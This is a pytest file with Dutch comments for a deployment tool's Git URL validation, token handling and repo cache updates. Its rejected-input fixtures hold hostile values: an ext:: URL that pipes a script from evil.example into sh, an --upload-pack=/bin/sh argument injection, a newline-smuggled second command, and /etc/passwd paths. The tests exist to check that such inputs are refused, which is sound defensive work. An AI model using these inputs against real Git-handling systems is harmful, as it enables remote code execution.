"""Git-URL-validatie. `ext::` voert een shell-commando uit, `file://` legt
lokale paden bloot — beide horen niet in een door de gebruiker opgegeven URL."""
import pytest

from conftest import login


@pytest.mark.parametrize("url", [
    "https://github.com/bes-r/server-up.git",
    "http://10.0.20.22:3000/bes-r/server-up.git",
    "ssh://git@example.com/bes-r/server-up.git",
    "git@github.com:bes-r/server-up.git",
])
def test_toegestane_urls(env, url):
    assert env["core"].valid_repo_url(url) is True


@pytest.mark.parametrize("url", [
    'ext::sh -c "curl evil.example/x.sh | sh"',
    "file:///etc",
    "/etc/passwd",
    "--upload-pack=/bin/sh",
    "",
    "https://example.com/repo.git\next::sh -c id",
])
def test_geweigerde_urls(env, url):
    assert env["core"].valid_repo_url(url) is False


def test_repo_toevoegen_weigert_ext_transport(client):
    csrf = login(client)
    r = client.post("/api/repos", json={"url": 'ext::sh -c "id"'},
                    headers={"X-CSRF-Token": csrf})
    assert r.status_code == 400
    assert client.get("/api/repos").get_json() is not None


def test_clone_weigert_ext_transport_uit_oude_config(env):
    """Vangnet: ook een repo die al in config.json stond wordt geweigerd."""
    from core import git
    ok, msg = git.clone_or_pull({"id": "boos", "url": 'ext::sh -c "id"'})
    assert ok is False
    assert "niet-toegestane" in msg


def test_repos_endpoint_lekt_geen_token(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"url": "https://example.com/geheim.git", "token": "s3cr3t-token"},
                headers={"X-CSRF-Token": csrf})

    body = client.get("/api/repos").get_data(as_text=True)
    assert "s3cr3t-token" not in body
    assert "has_token" in body

    settings = client.get("/api/settings").get_data(as_text=True)
    assert "s3cr3t-token" not in settings


def test_settings_put_wist_bestaand_token_niet(client, env):
    csrf = login(client)
    client.post("/api/repos",
                json={"id": "mijn", "url": "https://example.com/x.git", "token": "blijf-staan"},
                headers={"X-CSRF-Token": csrf})

    repos = client.get("/api/repos").get_json()
    client.put("/api/settings", json={"APP_REPOS": repos},
               headers={"X-CSRF-Token": csrf})

    stored = env["core"].load()["APP_REPOS"]
    mijn = next(r for r in stored if r["id"] == "mijn")
    assert mijn["token"] == "blijf-staan"


def test_settings_put_kan_auth_niet_overschrijven(client, env):
    csrf = login(client)
    client.put("/api/settings",
               json={"AUTH": {"mode": "proxy", "users": {}, "trusted_proxies": ["0.0.0.0/0"]}},
               headers={"X-CSRF-Token": csrf})
    import core.auth as auth
    assert auth.settings()["mode"] == "local"
    assert "tester" in auth.settings()["users"]


# ── Bijwerken van de cache ───────────────────────────────────────────────────
# `git pull --rebase` leunt op de upstream-instellingen van de lokale kloon.
# Die kunnen ontsporen, en de branch uit de instellingen werd er sowieso niet
# door gevolgd.

def _repo_met_twee_takken(tmp_path):
    import subprocess as sp
    bron = tmp_path / "bron"
    bron.mkdir()

    def g(*a):
        return sp.run(["git", *a], cwd=str(bron), capture_output=True,
                      text=True, check=True)

    g("init", "-qb", "main", ".")
    g("config", "user.email", "t@t")
    g("config", "user.name", "t")
    (bron / "app.txt").write_text("van main")
    g("add", "app.txt")
    g("commit", "-qm", "main")
    g("checkout", "-qb", "dev")
    (bron / "app.txt").write_text("van dev")
    g("commit", "-qam", "dev")
    g("checkout", "-q", "main")
    return bron


def test_bijwerken_volgt_de_ingestelde_branch(env, tmp_path, monkeypatch):
    """`git pull` haalde altijd de tak op waarop ooit gekloond was. Zette je de
    branch in de instellingen om, dan gebeurde er stilzwijgend niets."""
    import shutil as _shutil
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    # file:// is normaal niet toegestaan; hier gaat het om het bijwerken zelf.
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}

    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    cache = git.cache_dir("proef")
    assert (cache / "app.txt").read_text() == "van main"

    repo["branch"] = "dev"
    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    assert (cache / "app.txt").read_text() == "van dev", \
        "de gewijzigde branch werd genegeerd"


def test_bijwerken_overleeft_een_ontspoorde_upstream(env, tmp_path, monkeypatch):
    """Twee waarden in `branch.<tak>.merge` lieten git stoppen met "Cannot
    rebase onto multiple branches" — en daarmee werkte er niets meer bij."""
    import shutil as _shutil
    import subprocess as sp
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    cache = git.cache_dir("proef")
    sp.run(["git", "config", "remote.origin.fetch",
            "+refs/heads/*:refs/remotes/origin/*"], cwd=str(cache), check=True)
    sp.run(["git", "config", "--add", "branch.main.merge", "refs/heads/dev"],
           cwd=str(cache), check=True)

    ok, msg = git.clone_or_pull(repo)
    assert ok, f"bijwerken struikelt over de upstream-instellingen: {msg}"
    assert "multiple branches" not in msg


def test_lokale_rommel_in_de_cache_blokkeert_niets(env, tmp_path, monkeypatch):
    """De cache is van Server Up; wat er lokaal in gewijzigd is mag het
    bijwerken niet tegenhouden."""
    import shutil as _shutil
    from core import git
    if not _shutil.which("git"):
        pytest.skip("git niet aanwezig")
    bron = _repo_met_twee_takken(tmp_path)
    monkeypatch.setattr("core.valid_repo_url", lambda u: True)
    repo = {"id": "proef", "url": f"file://{bron}", "branch": "main"}
    assert git.clone_or_pull(repo)[0]

    (git.cache_dir("proef") / "app.txt").write_text("met de hand gewijzigd")
    ok, msg = git.clone_or_pull(repo)
    assert ok, msg
    assert (git.cache_dir("proef") / "app.txt").read_text() == "van main"